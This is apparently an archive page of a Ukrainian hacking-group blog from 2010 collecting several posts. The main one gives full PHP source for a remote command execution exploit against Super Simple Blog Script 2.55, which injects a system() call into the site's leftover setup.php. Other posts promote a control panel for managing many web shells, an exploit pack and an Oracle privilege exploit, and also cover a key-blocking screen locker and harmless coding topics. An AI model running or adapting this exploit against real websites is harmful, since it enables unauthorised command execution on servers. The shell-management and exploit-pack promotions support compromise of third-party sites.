Archive

Archive for the ‘Кодинг’ Category

Python Screen Locker для збереження очей

August 10th, 2010 presidentua 9 comments

Зараз здоров’я в нас вистачає і ми можемо не задумуватися про наші очі, про нашу спину, про наші руки… та пройде 10-20 років і все зміниться. У всіх є професійні хвороби, нажаль і програмістів не оминула така участь.

Почавши задумуватися над цими питаннями прийшов до висновку, що головна наша проблема в захопленні. Ми так захоплюємося що забуваємо про час. Вже в нас будуть боліти очі, а ми все одно думаємо, що ще годинку попрацюємо і все. А потім ще годинку і так поки за вікном не буде підійматися ранкове сонце.

Я себе не можу змусити відпочивати (, тому написав скриптик на пітоні, який висить в кроні і з частотою в одну годину на 10 хвилин робить екран чорним і блокує всі клавіши, щоб прожка вимикалась лише перезавантаженням. Хочеш не хочеш, а відпочивати змушує.

Якщо ви не програміст на Пітоні, то з цієї папки можна дістати і скрипт і конфіг і екзешник (якщо немає пітону) - http://bitbucket.org/presidentua/save-eye/src

Якщо ж ви Пітон-програміст і маєте час, то пропоную вам можливість перевірити свої знання – не дивлячись на мою прогу напишіть аналог за таким ТЗ:
- при запуску робити чорний екран
- ховати мишку
- блокувати всі клавіши
- блокувати Таск Манаджер
- нормально виконуватися при запуску через Task Scheduler (!!! тут будуть складності в нових версіях Віндовса).

Бережіть себе!

PS: Рішення цієї задачки дивіться нижче в тексті.
Read more…

Super Simple Blog Script Remote Command Execution Exploit

August 4th, 2010 Dimi4 No comments

Вразливість в даному продукті виникає через недостатню фільтрацію даних. Система після встановлення не попереджає користувача про необхідність видалення файлу setup.php, внаслідок неавторизованого доступу до цього файлу атакуючий має можливість виконати будь-яку команду в системі з правами веб-сервера. Нижче приведений код експлойту.

<?php

/**
 * @author Paketik [UASC.org.ua]
 * @copyright 2010
 * @Super Simple Blog Script Remote Command Execution Exploit
 * @Version 2.55
 * @Vendor www.supersimple.org
 * @Risk Very high
 * @usage exp.php domen path command
 * @example php exp.php http://localhost/SuperSimpleBlogScript ls -la
 */

error_reporting(false);

if(count($argv) < 3) { banner(); } else
{
 echo count($argv) ;
 $command = "";
 for($i=2; $i<count($argv); $i++)
 {
 $command .= $argv[$i] . " ";
 }
 $command = trim($command);
 exploit($argv[1],$command);
 }
function exploit($target,$command)
{
 $rnd = randomtab();
 print "[#] Target: ".$target."\r\n";
 print "[#] Command: ". $command."\r\n";
 print "[#] Generating random table name: ". $rnd."\r\n";
 print "[#] Parsing Full Path ";
 $content = file_get_contents($target."/setup.php");
 $p = getpath($content);
 print $p."\r\n";
 print "[#] Exploiting....\r\n";

 $_data = array("BASEURL" => $p,
 "PAGETITLE"=>"Title",
 "PERPAGE"=>20,
 "BLOGPAGENAME"=>"index",
 "USER0"=>"qaz",
 "PASSWORD0"=>"qaz",
 "IMAGESPERENTRY"=>1,
 "MULTIUSERS"=>"false",
 "COMMENT"=>"true",
 "TABLENAME"=>$rnd,
 "TIMEOFFSET"=>0,
 "RSSDESC"=>"rss'; system('".$command."'); //",
 "url"=>$target,
 "submit"=>"");
 $data = array();
 list($header, $content) = PostRequest($target."/setup.php", $target."setup.php", $_data);
 //print $header;
 if( strpos($header,"success"))
 {
 print "[###] Successful! View result:$target \r\n";
 } else
 {
 print "[---] Exploit Failed :(  \r\n";
 die();
 }

}

function randomtab()
{
 $a = array("a","b","c","d","e","f","g",1,2,3,4,5,6,7,8,9,0);
 $string = $a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)].$a[rand(0,16)];
 return $string;
}
function PostRequest($url, $referer, $_data) {

 $data = array();
 while(list($n,$v) = each($_data)){
 $data[] = "$n=$v";
 }
 $data = implode('&', $data);

 $url = parse_url($url);
 if ($url['scheme'] != 'http') {
 die('Only HTTP request are supported !');
 }

 $host = $url['host'];
 $path = $url['path'];

 $fp = fsockopen($host, 80);

 fputs($fp, "POST $path HTTP/1.1\r\n");
 fputs($fp, "Host: $host\r\n");
 fputs($fp, "Referer: $referer\r\n");
 fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
 fputs($fp, "Content-length: ". strlen($data) ."\r\n");
 fputs($fp, "Connection: close\r\n\r\n");
 fputs($fp, $data);

 $result = '';
 while(!feof($fp)) {

 $result .= fgets($fp, 128);
 }

 fclose($fp);

 $result = explode("\r\n\r\n", $result, 2);

 $header = isset($result[0]) ? $result[0] : '';
 $content = isset($result[1]) ? $result[1] : '';

 return array($header, $content);
}
function getpath($content)
{
 $a =  preg_match('/BASEURL" value="(.+?)"/i',$content,$m);
 return $m[1];
}

function banner()
{
 print "/**\r\n
 * @author Paketik [UASC.org.ua]\r\n
 * @copyright 2010\r\n
 * @Super Simple Blog Script Remote Command Execution Exploit \r\n
 * @Version 2.55 \r\n
 * @Vendor www.supersimple.org \r\n
 * @Risk Very high\r\n
 * @usage exp.php domen path command\r\n
 * @example php exp.php http://localhost/SuperSimpleBlogScript ls -la  \r\n
 */";
 die();
}
?>

Truecrypt, VBS, Acer – автоматизуємо монтування прихованих образів

July 27th, 2010 Dimi4 2 comments

Давно нічого тут не писалось, тому вирішив трохи освіжити блог, та й нагадати начим читачам що ми існуєм). Отож почнем..

Прикупив собі новий ноутбук –  Acer Aspire 5738z. Повинен сказати – просто краса, ноутбук і справді непоганий. У зв’язку з збільшенням квоти на харддиску вирішив завести собі окремий прихований розділ, закриптований trucrypt. Все пройшло чудово, розділ захищений файлом ключів, що замасковані під mp3 файл. Та запускати зажди трукрипт, вибирати розділ, ключі, монтувати мене не приваблювало. Але ця проблема досить легко вирішилась. Як? Читаєм підкатом..

Read more…

Google Chrome: самі пишемо аддони

April 18th, 2010 poma 8 comments

Недавно було потрібно написати свій плагін для Хрома, прийшлося “вникнути” в алгоритм написання таких плагінів )

Про то , як написати свій плагін для Хрома – читаємо далі..
Read more…

madShellC0ntr01 – система для роботи з шеллами

April 11th, 2010 Dimi4 No comments

madShellC0ntr01 v1.2

Писався софт достатньо давно, та і виключно в цілях ознайомлення ;) Якщо чесно, то я вже навіть не пам’ятаю чи реалізував все що хотів, чи ні (хоча скоріше, що ні). Отже, дозвольте представити вам систему для роботи з великою кількістю веб-шеллів типу madshell.

Меню:

  • Shell List
  • Stats
  • Add shells
  • Command Execution
  • Logs


Думаю все інтуїтивно зрозуміло (:

В версії 1.2 система автоматично оприділяє такі параметри:

  • Safe Mode
  • Platform
  • Version
  • Country

Стандартна пара логін-пароль: admin:pass

Завантажити

GetEngine v0.1

February 26th, 2010 admin 13 comments

скрипт для автоматичного визначення імені і версії двигла на сайті по локальній базі.
screenshot #1
яп: перл
дата останнього обновлення бази: 21.07.2009
розпізнає: ~70 движків (та їх версій)
Read more…

SALO PACK – Зв’язка сплойтів (exploit pack)

February 19th, 2010 Dimi4 10 comments

SALO PACK © UASC

by n0153r, Dimi4

  • Даний програмний продукт призначений тільки для освітніх цілей. Використання його в будь-якому іншому
  • вигляді може бути розцінено як порушення закону!
  • Заборонено продаж і використання вихідного коду SALO PACK в комерційних цілях

Read more…

Система виявлення вторгнень AntiBdoor

February 6th, 2010 Dimi4 4 comments

AntiBdoor є безкоштовною, вузловою СВВ, з відкритим вихідним кодом (Host-based IDS, HIDS). Вона забезпечує аналіз цілісності файлів, виявлення потенційно небезпечних програм, активні заходи у відповідь на загрозу.

Для розробки системи використано технології PHP, SQL, XHTML, CSS, AJAX. Read more…

Oracle DBMS_SQLHASH.GETHASH exploit (perl)

November 28th, 2009 dsu 2 comments

Написав нескладний exploit, що використовує уразливість в DBMS_SQLHASH.GETHASH. Exploit для роботи потребує sql ін’єкцію в pl / sql процедурі (зазвичай, на Oracle Application server, там і належать такі процедури по дефолту користувачеві з правами, яких нам достатньо). Загалом  можна запитати, навіщо нам exploit, якщо є ін’єкція? Я відповім, що часто в таких процедурах йде простий sql select / update / insert, а в них ми можемо використовувати  тільки простий sql. Даний exploit дозволяє виконати pl / sql, маючи при цьому тільки ін’єкцію у процедурі, яка виконує, скажімо, select і права тільки create_session.

Read more…

Роботи для Google Wave

November 8th, 2009 presidentua 3 comments

Вже інвайти Dimi4 я гадаю всім роздав на Google Wave і всім цікаво там полазити, покалацати. Хоча багато будуть напевно розчаровані, бо маркетологи Гугла розказували що це буде “вбивця” майже всього інтернету. Хоча насправді Вейв, то звичайна IRC в вебі з прикольним API.

Раніше вся наша команда активно користувался IRC(крім мене – я в іркі повний нуль), а зараз всю нашу активність по обговоренню проблем перенесли саме до Вейву. Хоча деяких фішок не вистачає, ось наприклад хотілося б щоб пошта повязана з прийомом заявок до складу UASC приходила саме до Вейву. Тож довелося писати свого робота, що не складно. Досить почитати документацію від Гугла, а потім читати “ісходники” вже написаних роботів і тестувати, тестувати і ще раз тестувати. В результаті вийшов робот, що всю отриману пошту спочатку зберігає в базу данних. А потім при кроні від Вейву(який зараз нестабільно працює), а також при збереженню повідомлення – бере з бази всі емайли і постить в Вейві. Також додана перевірка, що якщо хтось додасть бота собі, то він наших емайлів не отримає. Весь код можете глянути тут http://bitbucket.org/presidentua/mail-wave-robot/src/.
Read more…